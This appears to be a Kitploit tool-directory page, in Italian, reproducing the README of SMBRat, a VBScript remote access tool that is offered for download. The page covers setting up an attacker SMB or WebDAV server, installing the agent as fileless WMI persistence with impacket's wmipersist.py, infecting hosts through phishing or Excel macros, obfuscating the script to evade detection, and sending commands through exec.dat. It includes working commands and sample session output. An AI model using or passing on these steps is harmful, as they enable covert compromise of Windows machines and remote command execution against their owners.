Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
SMBRat — Uno strumento di amministrazione remota per Windows in Visual Basic con percorsi UNC | Kitploit
Strumenti/GitHubGitHub/operatorequals/smbrat
Strumenti di PhishingGenerazione di PayloadMeccanismi di PersistenzaExploitMovimento LateraleShellcodePost-ExploitPenetration TestingCommand and ControlRed TeamingStrumento di Accesso Remoto
22127 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
operatorequals/smbrat

SMBRat

Uno strumento di amministrazione remota per Windows in Visual Basic con percorsi UNC

Vedi Repository

SMBRat

Uno strumento di amministrazione remota per Windows in Visual Basic Script

Idea

Gli ambienti Windows, come le reti Active Directory, diventano davvero appesantiti dal traffico SMB.

Tutti gli host ricevono le Policies dalla cartella SYSVOL, le configurazioni richiedono file remoti per funzionare, i collegamenti sul desktop tendono a puntare a \\something\else\in\the\network.exe.

Nessuno noterebbe un tentativo di connessione in più. Giusto?

- Soprattutto se va a buon fine (è di moda monitorare solo i Denies del Firewall)

Ingredienti

Agente

Comodo per Documentazione/Archiviazione

L'agent è uno Visual Basic Script che viene eseguito sull'host infetto e si connette al server SMB. Crea al suo interno una directory chiamata come l'hostname dell'host e l'indirizzo MAC primario (cercando di essere unica e informativa allo stesso tempo per scopi di reporting). Tutti i comandi e le informazioni per l'host infetto saranno memorizzati in questa directory. Eseguire lo zip dell'intera cartella condivisa archiverà tutte le informazioni del progetto!

Furtivo

Non usa una lettera di unità per montare la condivisione, usa semplicemente UNC paths per leggere direttamente i file remoti (nessuna unità viene creata in explorer.exe).

Inietta inoltre l'UNC path nella variabile %PATH% del proprio ambiente di esecuzione (puoi eseguire eseguibili direttamente dal filesystem della tua macchina Linux).

Esecuzione dell'Agente

L'agent è configurato per essere eseguito una sola volta. Senza stato.

La sua routine è (più o meno) la seguente:

  • Cerca un file chiamato exec.dat nella cartella che ha creato nella condivisione SMB
  • Se trova il file, legge il suo contenuto e lo esegue come comando con cmd.exe /c <command> come una shell semi-interattiva.
  • La risposta del comando viene salvata in output.dat (accanto a exec.dat).
  • Elimina il file exec.dat.
Pagina Wiki per configurare l'Agente

Handler

L'handler ha bisogno di un server SMB per funzionare. Il modulo smbserver.py del pacchetto impacket di Core Security andrà bene.

Molto probabilmente anche smbd farebbe al caso nostro, ma non è stato ancora testato.

Configurazione del server SMB

È necessaria una condivisione con nome D$, per sembrare l'SMB di un legittimo host Windows.

root@kitploit:~
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Il caso WebDAV!

Poiché l'agent è configurato per usare solo percorsi UNC, WebDAV può essere utilizzato con zero modifiche. Invece di un server SMB, si può usare un server WebDAV (un ottimo server WebDAV con supporto SSL è wsgidav).

root@kitploit:~
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO    :  WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO    :  Lock manager:      LockManager(LockStorageDict)
[...] INFO    :  Property manager:  None
[...] INFO    :  Domain controller: SimpleDomainController()
[...] INFO    :  Registered DAV providers by route:
[...] INFO    :    - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO    :    - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING :  Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING :  Share '/:dir_browser' will allow anonymous read access.
[...] WARNING :  Share '/' will allow anonymous write access.
[...] INFO    :  Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO    :  Serving on http://0.0.0.0:80 ...

[...] INFO    :  192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status

Per il supporto SSL, i percorsi UNC devono cambiare leggermente, da:

root@kitploit:~
\\<Server-IP>\DIR\

a:

root@kitploit:~
\\<Server-IP>@SSL@443\DIR\

Questa modifica può essere fatta solo alla variabile ServerName di agent.vbs, poiché tutti i percorsi sono costruiti da questa. Tieni presente che i certificati SSL devono essere considerati attendibili dal sistema che esegue l'agent. I certificati autofirmati falliranno con avvisi.

Schema di infezione

Infettare un host da un file

Un ciclo While può essere aggiunto all'inizio del file agent.vbs, con un'istruzione di pausa di diversi secondi (10 secondi sono l'ideale), e sarà in grado di infettare host Windows tramite doppio clic / phishing / macro Excel / ecc...

Un ciclo while True in VBS con una pausa di 1 secondo è simile a questo:

root@kitploit:~
Do While True
	[...]
	WScript.Sleep 1000
Loop

Infettare un host fileless

Tuttavia, se un host Windows ha RPC abilitato, è possibile installare il file VBS come malware fileless tramite WMI e i favolosi esempi del pacchetto impacket con un comando come:

root@kitploit:~
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10

È anche possibile utilizzare lo strumento WMI tramite accesso locale per installare agent.vbs come malware fileless.

Offuscamento?

Gli script Visual Basic possono essere ben offuscati, codificati in base64 e anche minificati.

Può essere davvero utile provarlo prima di "distribuirlo" 😉

  • Strumento online per l'offuscamento VBS
  • Repo GitHub

Struttura delle directory nella condivisione SMB

Non creare mai cartelle manualmente nella cartella condivisa

Utilizzo minimo

Al momento in cui scrivo, nessuna shell Handler è implementata, quindi l'utilizzo può essere effettuato semplicemente usando un comando come watch per ispezionare il file output.dat:

root@kitploit:~
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat

e echo per scrivere qualche comando nel file exec.dat:

root@kitploit:~
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat

L'handler.py

La shell sperimentale funziona come segue:

root@kitploit:~
$ python handler.py Share/
SMBRat> 
# When a new host gets infected:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"

SMBRat> execall whoami /user

[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
		
SMBRat> 
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF': 


USER INFORMATION
----------------

User Name           SID     
=================== ========
nt authority\system S-1-5-18

^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat> 
				

Insidie principali

SMBv1 non è crittografato :

root@kitploit:~
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

[...]

15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)

E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"

[...]

15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)

E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................

.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...

[...]

15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)

[email protected]../.../..8..i~. 
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.

[...]

Il traffico (contenuti e percorsi dei file) viene trasferito in chiaro se viene utilizzato un server SMBv1 (ad esempio smbserver.py di impacket).

  • Un livello di crittografia/offuscamento risolverebbe completamente questo problema!

L'intera condivisione è in LETTURA/SCRITTURA per tutti:

Tutti gli agenti possono modificare i file memorizzati nell'intera condivisione. Il che significa che possono modificare l'exec.dat di altri agenti... Uno smbmap farà luce sulla questione:

root@kitploit:~
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445	Name: Deskjet-4540                                      
	Disk                                                  	Permissions
	----                                                  	-----------
	D$                                                	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
	IPC$                                              	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually

Presta attenzione all'assenza dei parametri -u e -p di smbmap.

Questa è una sessione NULL (come il login anonimo FTP). CHIUNQUE può modificare i file della condivisione e ottenere esecuzione remota di codice su tutte le macchine infette.

  • Meglio attivare qualche iptables qui...

Le sessioni NON sono interattive

Digita execall netsh e perderai tutti i tuoi agenti. Nessuno risponderà, perché agent.vbs avvierà la shell netsh.exe e aspetterà che termini, così da poterne scrivere il contenuto in output.dat. Ma indovina un po'... non terminerà... Rimarrà appesa con il prompt netsh> puntato nel vuoto.

Scarica lo strumento